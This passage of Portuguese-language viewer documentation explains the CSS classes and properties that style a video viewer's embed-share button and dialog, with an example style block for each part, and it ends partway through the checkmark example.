Whenever I click the spacebar on the outer (left or right) edges I have to click really hard for the laptop to register it as a key press. Sometimes no matter how hard I press or if I even hold down the spacebar key it won't register a click. It works fine if I press near the middle.
Answer this question I have this problem too
Is this a good question?
Score 5
Comments:
My spacebar,Z, and S key arehavingthe same issues
by
Steel series doesn't know keyboard engineering. We are the victims. Ideally Space bar should contain 3 sensors [left , mid, right]. We have to suffer because we chose MSI and MSI has chosen Steel series and Steel series has chose an engineer lacking common sense.
by
http://xoticpcforums.com/showthread.php?...
well known common manufacturer defect
you can mitigate it, but you may not be able to fix it. The mitigation involves opening the case and inserting something to protect the cable where it wraps over the motherboard, passed an unused connector.
by
Add a comment
10 Answers
Most Helpful Answer
I noticed similar issue, and fixed it by:
1. Carefully pop out the space key. (I use may nails)
2. Turn it over, glue a piece of paper to the center of the key. Size like 5mm x 5mm. I used high quality printing paper. (I also tried using business card paper, but it was way too thick)
3. Push space key back to the keyboard.
Was this answer helpful?
Score 1
Comments:
In 2016 it's still valuable solution!
by
Add a comment
MSI GS70 z, s, spacebar,6,7 problem is completely hardware problem. To fix it clean ribbon cable silvery parts must be cleaned by a piece of eraser and fix it to keybpad connector firmly. roblem repeat itself again in time. follow: https://youtu.be/FpVuzisn0-c
Sul Sul
Was this answer helpful?
Score 1
Add a comment
I have the same laptop but in additon to the spacebar my "s" and "z" buttons are not working properlly. They don't work at all or they do more instertion than intendet whcih ressults like this; zzzzz sssss ech. thanksss, zzzero and multiple space touchs.
Any sugestions?
Was this answer helpful?
Score 0
Comments:
I have the same issue, but it only happened when I upgraded to windows 10. Were you able to find a solution?
by
Add a comment
I have the same issue as ozanerkan. My 'S','Z','6','7' buttons don't work all the time and also spacebar touches twice or three times.
Was this answer helpful?
Score 0
Comments:
My MSI GS70 keyboard had the same problem. Turns out there is a pin on the motherboard that protrudes from the green part of the board, and touches the keyboard flex cable (which curves to reach it's connector) and damages exactly the line that links those keys. Mine had problems on space, S, 7, Z, numlock and windows key.
IF YOU CAN, RMA YOUR NOTEBOOK SO THEY REPLACE YOUR KEYBOARD OR CABLE.
To fix it, I added a bended plastic between the cable and the motherboard (to stop the protruded part from damaging it more) and pushed the damaged part back and put some electrical tape on both sides. It's not an ideal solution, but I can't RMA my notebook at the moment, so that will have to do.
by
I have the same problem, but it didn't start happening until after I upgraded to windows 10. I tried reverting back to 8.1, but still have an issue. Find it hard to believe that its a hardware issue.
by
Same with me, after windows 10, my GS70 has issues with S and Spacebar. Sometimes intermittent. Possibly it is just coincidence. I might have to go try robusting the flat flex keyboard cable. Anyone else?
by
Add a comment
does anybody know where you can order a replacement cable?
Was this answer helpful?
Score 0
Add a comment
I had this problem, i bought some double sided sticky pads i had laying around and without removing the space bar carfully lifted it just enough to push the pad inbetween the white plastic thing and the spacebar key cap itsself it doesnt look any different and works just the same but without the miss click :) hope this helps !
Was this answer helpful?
Score 0
Add a comment
To get help related to all MSI Laptop then call MSI Laptop Technical Support.
Was this answer helpful?
Score 0
Add a comment
I just wanted to point out that this issue is still present in MSI's newer notebook lineup with the Pascal GPUs. I was able to resolve the spacebar issue on my GS63VR (GTX 1060) using the same technique. Be sure to be very careful removing the spacebar, or any key for that matter.
Was this answer helpful?
Score 0
Add a comment
wadwadadyadadyaudndhda
Was this answer helpful?
Score 0
Add a comment
msi have to be sorry about this issue. i had too..
Was this answer helpful?
Score 0
Comments:
i removed the space bar. but i could not placed it again. is there any tutorial to place it again?
by
Add a comment
Add your answer
tomas will be eternally grateful.
View Statistics:
Past 24 Hours: 7
Past 7 Days: 49
Past 30 Days: 218
All Time: 7,646 | {
"url": "https://www.ifixit.com/Answers/View/175845/How+can+fix+my+msi+gs70+spacebar",
"source_domain": "www.ifixit.com",
"snapshot_id": "crawl=CC-MAIN-2017-43",
"warc_metadata": {
"Content-Length": "145665",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:DEUK5OLRHCWLDQCRVZWL6QFCXKRFYYW7",
"WARC-Concurrent-To": "<urn:uuid:2dc77981-be6e-439f-aab0-ece042b125a3>",
"WARC-Date": "2017-10-20T18:22:05Z",
"WARC-IP-Address": "75.101.159.182",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:D7CAD4SG7TFFS7UHEC4J64D5M7ZD6JRL",
"WARC-Record-ID": "<urn:uuid:72930012-3632-4d89-bd29-f3e07bac9d55>",
"WARC-Target-URI": "https://www.ifixit.com/Answers/View/175845/How+can+fix+my+msi+gs70+spacebar",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:cd90087a-ec13-4ab1-be2f-a9d9b6dd7258>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-37-188-157.ec2.internal\r\nsoftware: Nutch 1.6 (CC)\r\nisPartOf: CC-MAIN-2017-43\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for October 2017\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
112,
113,
135,
136,
170,
171,
456,
457,
502,
503,
528,
529,
537,
538,
548,
549,
599,
600,
603,
604,
868,
869,
872,
873,
917,
918,
956,
957,
1164,
1165,
1168,
1169,
1183,
1184,
1195,
1196,
1216,
1217,
1259,
1260,
1314,
1315,
1504,
1505,
1545,
1546,
1571,
1572,
1580,
1581,
1591,
1592,
1630,
1631,
1634,
1635,
1649,
1650,
1911,
1912,
1920,
1921,
1946,
1947,
1955,
1969,
1970,
2225,
2226,
2242,
2243,
2268,
2269,
2277,
2278,
2288,
2289,
2398,
2399,
2402,
2403,
2417,
2418,
2553,
2554,
2579,
2580,
2588,
2589,
2599,
2600,
2925,
2926,
2996,
2997,
3295,
3296,
3299,
3300,
3500,
3501,
3504,
3505,
3710,
3711,
3714,
3715,
3729,
3730,
3789,
3790,
3815,
3816,
3824,
3838,
3839,
4168,
4169,
4194,
4195,
4203,
4217,
4218,
4296,
4297,
4322,
4323,
4331,
4345,
4346,
4628,
4629,
4654,
4655,
4663,
4677,
4678,
4701,
4702,
4727,
4728,
4736,
4750,
4751,
4802,
4803,
4828,
4829,
4837,
4838,
4848,
4849,
4948,
4949,
4952,
4953,
4967,
4968,
4984,
4985,
5019,
5036,
5037,
5054,
5055,
5071,
5072,
5090,
5091
],
"line_end_idx": [
112,
113,
135,
136,
170,
171,
456,
457,
502,
503,
528,
529,
537,
538,
548,
549,
599,
600,
603,
604,
868,
869,
872,
873,
917,
918,
956,
957,
1164,
1165,
1168,
1169,
1183,
1184,
1195,
1196,
1216,
1217,
1259,
1260,
1314,
1315,
1504,
1505,
1545,
1546,
1571,
1572,
1580,
1581,
1591,
1592,
1630,
1631,
1634,
1635,
1649,
1650,
1911,
1912,
1920,
1921,
1946,
1947,
1955,
1969,
1970,
2225,
2226,
2242,
2243,
2268,
2269,
2277,
2278,
2288,
2289,
2398,
2399,
2402,
2403,
2417,
2418,
2553,
2554,
2579,
2580,
2588,
2589,
2599,
2600,
2925,
2926,
2996,
2997,
3295,
3296,
3299,
3300,
3500,
3501,
3504,
3505,
3710,
3711,
3714,
3715,
3729,
3730,
3789,
3790,
3815,
3816,
3824,
3838,
3839,
4168,
4169,
4194,
4195,
4203,
4217,
4218,
4296,
4297,
4322,
4323,
4331,
4345,
4346,
4628,
4629,
4654,
4655,
4663,
4677,
4678,
4701,
4702,
4727,
4728,
4736,
4750,
4751,
4802,
4803,
4828,
4829,
4837,
4838,
4848,
4849,
4948,
4949,
4952,
4953,
4967,
4968,
4984,
4985,
5019,
5036,
5037,
5054,
5055,
5071,
5072,
5090,
5091,
5106
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 5106,
"ccnet_original_nlines": 169,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.37168949842453003,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.052054788917303085,
"rps_doc_frac_lines_end_with_ellipsis": 0.005882349796593189,
"rps_doc_frac_no_alph_words": 0.17990867793560028,
"rps_doc_frac_unique_words": 0.4054945111274719,
"rps_doc_mean_word_length": 4.328571319580078,
"rps_doc_num_sentences": 74,
"rps_doc_symbol_to_word_ratio": 0.0009132400155067444,
"rps_doc_unigram_entropy": 5.312123775482178,
"rps_doc_word_count": 910,
"rps_doc_frac_chars_dupe_10grams": 0.019294239580631256,
"rps_doc_frac_chars_dupe_5grams": 0.1221122071146965,
"rps_doc_frac_chars_dupe_6grams": 0.09875603020191193,
"rps_doc_frac_chars_dupe_7grams": 0.08555471152067184,
"rps_doc_frac_chars_dupe_8grams": 0.06524498760700226,
"rps_doc_frac_chars_dupe_9grams": 0.047473978251218796,
"rps_doc_frac_chars_top_2gram": 0.011170350015163422,
"rps_doc_frac_chars_top_3gram": 0.03071846067905426,
"rps_doc_frac_chars_top_4gram": 0.050774309784173965,
"rps_doc_books_importance": -487.14227294921875,
"rps_doc_books_importance_length_correction": -487.14227294921875,
"rps_doc_openwebtext_importance": -292.8273010253906,
"rps_doc_openwebtext_importance_length_correction": -292.8273010253906,
"rps_doc_wikipedia_importance": -201.15130615234375,
"rps_doc_wikipedia_importance_length_correction": -201.15130615234375
},
"fasttext": {
"dclm": 0.04975324869155884,
"english": 0.940255880355835,
"fineweb_edu_approx": 1.143879771232605,
"eai_general_math": 0.03451203927397728,
"eai_open_web_math": 0.25618040561676025,
"eai_web_code": 0.005735219921916723
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.16",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "621.392",
"labels": {
"level_1": "Industrial arts, Technology, and Engineering",
"level_2": "Engineering",
"level_3": "Mechanical engineering and Machinery"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "2",
"label": "Click Here References"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "21",
"label": "Customer Support"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "2",
"label": "Partially Correct"
}
},
"education_level": {
"primary": {
"code": "1",
"label": "General Audience"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | 672f1e42c33a7f9846924a2431ea77df |
-9,212,990,726,119,040,000 | Compartilhamento incorporado
A ferramenta de compartilhamento integrado consiste em um botão adicionado ao painel Compartilhamento social e a caixa de diálogo modal que é exibida quando a ferramenta é ativada. A posição do botão é totalmente gerenciada pela ferramenta de compartilhamento Social .
A aparência do botão de compartilhamento incorporado é controlada pelo seguinte seletor de classe CSS:
.s7smartcropvideoviewer .s7embedshare
Propriedades CSS da ferramenta de compartilhamento incorporada
width
Largura do botão.
altura
Altura do botão.
imagem de fundo
A imagem exibida para um determinado estado de botão.
posição de fundo
Posição dentro da estrutura de arte, se os sprites CSS forem usados.
Consulte Sprites CSS .
OBSERVAÇÃO
Esse botão suporta state seletor de atributos, que pode ser usado para aplicar capas diferentes a estados de botão diferentes.
É possível remover o botão do painel Compartilhamento do Social ao configurar display:none Propriedade CSS na classe CSS.
A dica de ferramenta do botão pode ser localizada. Consulte Localização dos elementos da interface do usuário para obter mais informações.
Exemplo - Para configurar um botão Incorporar compartilhamento com 28 x 28 pixels e exibir uma imagem diferente para cada um dos quatro estados de botão diferentes:
.s7smartcropvideoviewer .s7embedshare {
width:28px;
height:28px;
}
.s7smartcropvideoviewer .s7embedshare[state='up'] {
background-image:url(images/v2/EmbedShare_dark_up.png);
}
.s7smartcropvideoviewer .s7embedshare[state='over'] {
background-image:url(images/v2/EmbedShare_dark_over.png);
}
.s7smartcropvideoviewer .s7embedshare[state='down'] {
background-image:url(images/v2/EmbedShare_dark_down.png);
}
.s7smartcropvideoviewer .s7embedshare[state='disabled'] {
background-image:url(images/v2/EmbedShare_dark_disabled.png);
}
A sobreposição em segundo plano que abrange a página da Web quando a caixa de diálogo está ativa é controlada com o seguinte seletor de classe CSS:
.s7smartcropvideoviewer .s7embeddialog .s7backoverlay
Propriedades CSS da sobreposição em segundo plano
opacidade
Opacidade da sobreposição em segundo plano.
cor do fundo
Cor da sobreposição do plano de fundo.
Exemplo - para configurar uma sobreposição de plano de fundo para ficar cinza com 70% de opacidade:
.s7smartcropvideoviewer .s7embeddialog .s7backoverlay {
opacity:0.7;
background-color:#222222;
}
Por padrão, a caixa de diálogo modal é exibida centralizada na tela em sistemas de desktop e leva toda a área da página da Web em dispositivos de toque. Em todos os casos, o posicionamento e o dimensionamento da caixa de diálogo são gerenciados pelo componente . A caixa de diálogo é controlada com o seguinte seletor de classe CSS:
.s7smartcropvideoviewer .s7embeddialog .s7dialog
Propriedades CSS da caixa de diálogo
border-radius
Raio da borda da caixa de diálogo, caso a caixa de diálogo não use o navegador inteiro.
cor do fundo
Cor de fundo da caixa de diálogo.
largura
Deve ser desativado ou definido como 100%, nesse caso, a caixa de diálogo ocupa toda a janela do navegador (esse modo é preferencial em dispositivos de toque).
altura
Deve ser desativado ou definido como 100%, nesse caso, a caixa de diálogo ocupa toda a janela do navegador (esse modo é preferencial em dispositivos de toque).
Exemplo - para configurar a caixa de diálogo para usar toda a janela do navegador e ter um plano de fundo branco em dispositivos de toque:
.s7smartcropvideoviewer .s7touchinput .s7embeddialog .s7dialog {
width:100%;
height:100%;
background-color: #ffffff;
}
O cabeçalho da caixa de diálogo consiste em um ícone, um texto de título e um botão fechar. O contêiner de cabeçalho é controlado com
.s7smartcropvideoviewer .s7embeddialog .s7dialogheader
Propriedades CSS do cabeçalho da caixa de diálogo
preenchimento
Preenchimento interno para o conteúdo do cabeçalho.
O ícone e o texto do título são vinculados em um contêiner extra controlado com
.s7smartcropvideoviewer .s7embeddialog .s7dialogheader .s7dialogline
Propriedades CSS da linha de diálogo
preenchimento
Preenchimento interno para o ícone e o título do cabeçalho
O ícone Cabeçalho é controlado com o seguinte seletor de classe CSS
.s7smartcropvideoviewer .s7embeddialog .s7dialogheadericon
Propriedades CSS do ícone de cabeçalho da caixa de diálogo
largura
Largura do ícone.
altura
Altura do ícone.
imagem de fundo
Imagem do ícone.
posição de fundo
Posição dentro da estrutura de arte, se os sprites CSS forem usados.
Consulte Sprites CSS .
O título do cabeçalho é controlado com o seguinte seletor de classe CSS:
.s7smartcropvideoviewer .s7embeddialog .s7dialogheadertext
Propriedades CSS do texto do cabeçalho da caixa de diálogo
font-weight
Espessura da fonte.
tamanho da fonte
Altura da fonte.
família de fontes
Família de fontes.
preenchimento
Preenchimento de texto interno.
O botão Fechar é controlado com o seguinte seletor de classe CSS:
.s7smartcropvideoviewer .s7embeddialog .s7closebutton
Propriedades CSS do botão Fechar
top
Posição do botão vertical em relação ao contêiner de cabeçalho.
right
Posição do botão horizontal em relação ao contêiner de cabeçalho.
largura
Largura do botão.
altura
Altura do botão.
preenchimento
Preenchimento interno do botão.
imagem de fundo
Imagem do botão para cada estado.
posição de fundo
Posição dentro da estrutura de arte, se os sprites CSS forem usados.
Consulte Sprites CSS .
OBSERVAÇÃO
Esse botão suporta state seletor de atributos, que pode ser usado para aplicar capas diferentes a estados de botão diferentes.
A dica de ferramenta do botão Fechar e o título da caixa de diálogo podem ser localizados. Consulte Localização dos elementos da interface do usuário para obter mais informações.
Exemplo - Para configurar um cabeçalho de caixa de diálogo com preenchimento, ícone de 24 x 14 pixels, título de 16 pontos em negrito e botão Fechar de 28 x 28 pixels. Finalmente, coloque-o posicionado dois pixels da parte superior e dois pixels da direita do contêiner da caixa de diálogo:
.s7smartcropvideoviewer .s7embeddialog .s7dialogheader {
padding: 10px;
}
.s7smartcropvideoviewer .s7embeddialog .s7dialogheader .s7dialogline {
padding: 10px 10px 2px;
}
.s7smartcropvideoviewer .s7embeddialog .s7dialogheadericon {
background-image: url("images/sdk/dlgembed_cap.png");
height: 14px;
width: 24px;
}
.s7smartcropvideoviewer .s7embeddialog .s7dialogheadertext {
font-size: 16pt;
font-weight: bold;
padding-left: 16px;
}
.s7smartcropvideoviewer .s7embeddialog .s7closebutton {
top:2px;
right:2px;
padding:8px;
width:28px;
height:28px;
}
.s7smartcropvideoviewer .s7embeddialog .s7closebutton[state='up'] {
background-image:url(images/sdk/close_up.png);
}
.s7smartcropvideoviewer .s7embeddialog .s7closebutton[state='over'] {
background-image:url(images/sdk/close_over.png);
}
.s7smartcropvideoviewer .s7embeddialog .s7closebutton[state='down'] {
background-image:url(images/sdk/close_down.png);
}
.s7smartcropvideoviewer .s7embeddialog .s7closebutton[state='disabled'] {
background-image:url(images/sdk/close_disabled.png);
}
O rodapé da caixa de diálogo consiste no botão "cancelar". O contêiner de rodapé é controlado com o seguinte seletor de classe CSS:
.s7smartcropvideoviewer .s7embeddialog .s7dialogfooter
Propriedades CSS do rodapé da caixa de diálogo
border
Borda que você pode usar para separar visualmente o rodapé do restante da caixa de diálogo.
O rodapé tem um contêiner interno que mantém o botão. É controlado com o seguinte seletor de classe CSS:
.s7smartcropvideoviewer .s7embeddialog .s7dialogbuttoncontainer
Propriedades CSS do contêiner do botão da caixa de diálogo
preenchimento
Preenchimento interno entre o rodapé e o botão.
O botão Selecionar tudo é controlado com o seguinte seletor de classe CSS:
.s7smartcropvideoviewer .s7embeddialog .s7dialogactionbutton
O botão só está disponível em sistemas de desktop.
Propriedades CSS do botão Selecionar tudo
largura
Largura do botão.
altura
Altura do botão.
color
Cor do texto do botão para cada estado.
cor do fundo
Cor de fundo do botão para cada estado.
OBSERVAÇÃO
O botão Selecionar tudo suporta o state seletor de atributos, que pode ser usado para aplicar capas diferentes a estados de botão diferentes.
O botão Cancelar é controlado com o seguinte seletor de classe CSS:
.s7smartcropvideoviewer .s7embeddialog .s7dialogcancelbutton
Propriedades CSS do botão Cancelar da caixa de diálogo
largura
Largura do botão.
altura
Altura do botão.
color
Cor do texto do botão para cada estado.
cor do fundo
Cor de fundo do botão para cada estado.
OBSERVAÇÃO
O botão Cancelar é compatível com o state seletor de atributos, que pode ser usado para aplicar capas diferentes a estados de botão diferentes.
Além disso, ambos os botões compartilham uma classe CSS comum que pode conter configurações CSS que são as mesmas para outros botões de caixa de diálogo:
.s7smartcropvideoviewer .s7embeddialog .s7dialogfooter .s7button
Propriedades CSS do botão
font-weight
Espessura da fonte do botão.
tamanho da fonte
Tamanho da fonte do botão.
família de fontes
Família de fontes do botão.
altura da linha
Altura do texto dentro do botão. Afeta o alinhamento vertical.
sombra de caixa
Sombra.
margem direita
Margem do botão direito.
As dicas de ferramentas do botão podem ser localizadas. Consulte Localização dos elementos da interface do usuário para obter mais informações.
Exemplo - para configurar um rodapé de caixa de diálogo com um botão Cancelar de 64 x 34, com cor de texto e cor de plano de fundo diferentes para cada estado de botão:
.s7smartcropvideoviewer .s7embeddialog .s7dialogfooter {
border-top: 1px solid #909090;
}
.s7smartcropvideoviewer .s7embeddialog .s7dialogbuttoncontainer {
padding-bottom: 6px;
padding-top: 10px;
}
.s7smartcropvideoviewer .s7embeddialog .s7dialogfooter .s7button {
box-shadow: 1px 1px 1px #999999;
color: #FFFFFF;
font-size: 9pt;
font-weight: bold;
line-height: 34px;
margin-right: 10px;
}
.s7smartcropvideoviewer .s7embeddialog .s7dialogcancelbutton {
width:64px;
height:34px;
}
.s7smartcropvideoviewer .s7embeddialog .s7dialogcancelbutton[state='up'] {
background-color:#666666;
color:#dddddd;
}
.s7smartcropvideoviewer .s7embeddialog .s7dialogcancelbutton[state='down'] {
background-color:#555555;
color:#ffffff;
}
.s7smartcropvideoviewer .s7embeddialog .s7dialogcancelbutton[state='over'] {
background-color:#555555;
color:#ffffff;
}
.s7smartcropvideoviewer .s7embeddialog .s7dialogcancelbutton[state='disabled'] {
background-color:#b2b2b2;
color:#dddddd;
}
.s7smartcropvideoviewer .s7embeddialog .s7dialogactionbutton {
width:82px;
height:34px;
}
.s7smartcropvideoviewer .s7embeddialog .s7dialogactionbutton[state='up'] {
background-color:#333333;
color:#dddddd;
}
.s7smartcropvideoviewer .s7embeddialog .s7dialogactionbutton[state='down'] {
background-color:#222222;
color:#cccccc;
}
.s7smartcropvideoviewer .s7embeddialog .s7dialogactionbutton[state='over'] {
background-color:#222222;
color:#cccccc;
}
.s7smartcropvideoviewer .s7embeddialog .s7dialogactionbutton[state='disabled'] {
background-color:#b2b2b2;
color:#dddddd;
}
A área de diálogo principal (entre o cabeçalho e o rodapé) contém conteúdo da caixa de diálogo rolável e o painel de rolagem à direita. Em todos os casos, o componente gerencia a largura dessa área, não é possível defini-la em CSS. A área de diálogo principal é controlada com o seguinte seletor de classe CSS:
.s7smartcropvideoviewer .s7embeddialog .s7dialogviewarea
Propriedades CSS da área de visualização da caixa de diálogo
altura
A altura da área da caixa de diálogo principal. Ela deve ser especificada somente quando a caixa de diálogo funcionar no modo de desktop. Não é aplicável quando a caixa de diálogo é dimensionada para ocupar toda a janela do navegador.
cor do fundo
A cor de fundo da área da caixa de diálogo principal.
margem
Margem externa.
Exemplo - para configurar uma área da caixa de diálogo principal para ter 300 pixels de altura, tenha uma margem de dez pixels e use um plano de fundo branco:
.s7smartcropvideoviewer .s7embeddialog .s7dialogviewarea {
background-color:#ffffff;
margin:10px;
height:300px;
}
Todo o conteúdo do formulário (como rótulos e campos de entrada) reside em um contêiner controlado com
.s7smartcropvideoviewer .s7embeddialog .s7dialogbody
Se a altura desse contêiner parecer ser maior que a área da caixa de diálogo principal, uma rolagem vertical é ativada automaticamente pelo componente.
Propriedades CSS do corpo da caixa de diálogo
preenchimento
Preenchimento interno.
Exemplo - Para configurar o conteúdo do formulário para ter o preenchimento de dez pixels:
.s7smartcropvideoviewer .s7embeddialog .s7dialogbody {
padding: 10px;
}
Todos os rótulos estáticos no formulário da caixa de diálogo são controlados com
.s7smartcropvideoviewer .s7embeddialog .s7dialoglabel
Essa classe não é adequada para controlar o tamanho ou a posição do rótulo, pois você pode aplicá-lo a textos em vários lugares da interface do usuário do formulário.
Propriedades CSS do rótulo da caixa de diálogo.
font-weight
Espessura da fonte do rótulo.
tamanho da fonte
Tamanho da fonte do rótulo.
família de fontes
Rotular família de fontes.
color
Cor do texto do rótulo.
As dicas de ferramentas dos rótulos da caixa de diálogo podem ser localizadas. Consulte Localização dos elementos da interface do usuário para obter mais informações.
Exemplo - para configurar todos os rótulos para serem cinza, negrito com uma fonte de nove pixels:
.s7smartcropvideoviewer .s7embeddialog .s7dialoglabel {
color: #666666;
font-size: 9pt;
font-weight: bold;
}
O tamanho da cópia de texto exibida na parte superior do código incorporado é controlado com o seguinte seletor de classe CSS:
.s7smartcropvideoviewer .s7embeddialog .s7dialoginputwide
Propriedades CSS do campo de entrada da caixa de diálogo
largura
Largura do campo de entrada.
preenchimento
Preenchimento interno.
Exemplo - para definir a cópia de texto como 430 pixels de largura e ter um preenchimento de dez pixels na parte inferior:
.s7smartcropvideoviewer .s7embeddialog .s7dialoginputwide {
padding-bottom: 10px;
width: 430px;
}
O código incorporado é encapsulado em um contêiner e controlado com o seguinte seletor de classe CSS:
.s7smartcropvideoviewer .s7embeddialog .s7dialoginputcontainer
Propriedades CSS do contêiner de entrada da caixa de diálogo
largura
A largura do contêiner de código incorporado.
border
Borda em torno do contêiner de código incorporado.
preenchimento
Preenchimento interno.
Exemplo - para definir uma borda cinza de um pixel em torno do texto do código incorporado, torne-a de 430 pixels de largura e tenha um preenchimento de dez pixels:
.s7smartcropvideoviewer .s7embeddialog .s7dialoginputcontainer {
border: 1px solid #CCCCCC;
padding: 10px;
width: 430px;
}
O texto real do código incorporado é controlado com o seguinte seletor de classe CSS:
.s7smartcropvideoviewer .s7embeddialog .s7dialoginputcontainer
Propriedades CSS do contêiner de entrada da caixa de diálogo
quebra automática
Estilo de quebra automática de palavra.
Exemplo - Para configurar o código incorporado a ser usado break-word quebra automática de palavra:
.s7smartcropvideoviewer .s7embeddialog .s7dialogmessage {
word-wrap: break-word;
}
Incorporar rótulo de tamanho e lista suspensa estão na parte inferior da caixa de diálogo e são colocados em um contêiner controlado com o seguinte seletor de classe CSS:
.s7smartcropvideoviewer .s7embeddialog .s7dialogembedsizepanel
Propriedades CSS do painel de tamanho da incorporação da caixa de diálogo
preenchimento
Preenchimento interno.
Exemplo - para configurar um painel de tamanho incorporado para ter dez pixels de preenchimento:
.s7smartcropvideoviewer .s7embeddialog .s7dialogembedsizepanel {
padding: 10px;
}
O tamanho e o alinhamento do rótulo de tamanho incorporado são controlados com o seguinte seletor de classe CSS:
.s7smartcropvideoviewer .s7embeddialog .s7dialogembedsizepanel
Propriedades CSS do painel de tamanho da incorporação da caixa de diálogo
alinhamento vertical
Alinhamento vertical do rótulo.
largura
Largura do rótulo.
Exemplo - para definir o rótulo de tamanho incorporado para ser alinhado no topo e 80 pixels de largura:
.s7smartcropvideoviewer .s7embeddialog .s7dialogembedsizelabel {
vertical-align: top;
width: 80px;
}
A largura da caixa de combinação de tamanho incorporado é controlada pelo seguinte seletor de classe CSS:
.s7smartcropvideoviewer .s7embeddialog .s7combobox
Propriedades CSS da caixa de combinação
largura
Largura da caixa de combinação.
OBSERVAÇÃO
A caixa de combinação suporta o expanded seletor de atributos com possíveis valores de true e false. O true é usado quando a caixa de combinação exibe um dos tamanhos incorporados predefinidos, portanto, deve ter toda a largura disponível. O false é usado quando a opção de tamanho personalizado está selecionada na caixa de combinação; portanto, deve ser reduzido para permitir espaço para campos de entrada de largura e altura personalizados.
Exemplo - para definir a caixa de combinação de tamanho incorporado com largura de 300 pixels ao mostrar um item predefinido e 110 pixels de largura ao mostrar um tamanho personalizado:
.s7smartcropvideoviewer .s7embeddialog .s7combobox[expanded="true"] {
width: 300px;
}
.s7smartcropvideoviewer .s7embeddialog .s7combobox[expanded="false"] {
width: 110px;
}
A altura do texto da caixa de combinação é definida por um elemento interno especial e é controlada pelo seguinte seletor de classe CSS:
.s7smartcropvideoviewer .s7embeddialog .s7combobox .s7comboboxtext
Propriedades CSS do texto da caixa de combinação
altura
Altura do texto da caixa de combinação.
Exemplo - para definir a altura do texto da caixa de combinação do tamanho de incorporação como 40 pixels:
.s7smartcropvideoviewer .s7embeddialog .s7combobox .s7comboboxtext {
height: 40px;
}
A caixa de combinação tem um botão "suspenso" à direita e é controlada com o seguinte seletor de classe CSS:
.s7smartcropvideoviewer .s7embeddialog .s7combobox .s7comboboxbutton
Propriedades CSS do botão da caixa de combinação
top
Posição vertical do botão dentro da caixa de combinação.
right
Posição do botão horizontal dentro da caixa de combinação.
largura
Largura do botão.
altura
Altura do botão.
imagem de fundo
Imagem do botão para cada estado.
posição de fundo
Posição dentro da estrutura de arte, se os sprites CSS forem usados.
Consulte Sprites CSS .
Esse botão suporta state seletor de atributos, que pode ser usado para aplicar capas diferentes a estados de botão diferentes.
Exemplo - para definir um botão "suspenso" para 28 x 28 pixels e ter uma imagem separada para cada estado:
.s7smartcropvideoviewer .s7embeddialog .s7combobox .s7comboboxbutton {
width:28px;
height:28px;
}
.s7smartcropvideoviewer .s7embeddialog .s7combobox .s7comboboxbutton[state='up'] {
background-image:url(images/sdk/cboxbtndn_up.png);
}
.s7smartcropvideoviewer .s7embeddialog .s7combobox .s7comboboxbutton[state='over'] {
background-image:url(images/sdk/cboxbtndn_over.png);
}
.s7smartcropvideoviewer .s7embeddialog .s7combobox .s7comboboxbutton[state='down'] {
background-image:url(images/sdk/cboxbtndn_over.png);
}
.s7smartcropvideoviewer .s7embeddialog .s7combobox .s7comboboxbutton[state='disabled'] {
background-image:url(images/sdk/cboxbtndn_up.png);
}
O painel com a lista de tamanhos incorporados exibida quando a caixa de combinação é aberta é controlado com o seguinte seletor de classe CSS:
.s7smartcropvideoviewer .s7embeddialog .s7comboboxdropdown
O tamanho e a posição do painel são controlados pelo componente. Não é possível alterá-lo por meio de CSS.
Propriedades CSS da caixa de combinação suspensa
border
Borda do painel.
Exemplo - para definir o painel da caixa de combinação para ter uma borda cinza de um pixel:
.s7smartcropvideoviewer .s7embeddialog .s7comboboxdropdown {
border: 1px solid #CCCCCC;
}
Um único item em um painel suspenso controlado com o seguinte seletor de classe CSS:
.s7smartcropvideoviewer .s7embeddialog .s7dropdownitemanchor
Propriedades CSS da âncora suspensa do item
cor do fundo
Plano de fundo do item.
Exemplo - para definir o item de painel da caixa de combinação para ter um plano de fundo branco:
.s7smartcropvideoviewer .s7embeddialog .s7dropdownitemanchor {
background-color: #FFFFFF;
}
Uma marca de seleção exibida à esquerda do item selecionado dentro do painel da caixa de combinação que é controlada com o seguinte seletor de classe CSS:
.s7smartcropvideoviewer .s7embeddialog .s7checkmark
Propriedades CSS da caixa de seleção
largura
Largura do ícone.
altura
Altura do ícone.
imagem de fundo
Imagem do item.
posição de fundo
Posição dentro da estrutura de arte, se os sprites CSS forem usados.
Consulte Sprites CSS .
Exemplo - para definir o ícone de marca de seleção como 25 x 25 pixels:
.s7smartcropvideoviewer .s7embeddialog .s7checkmark {
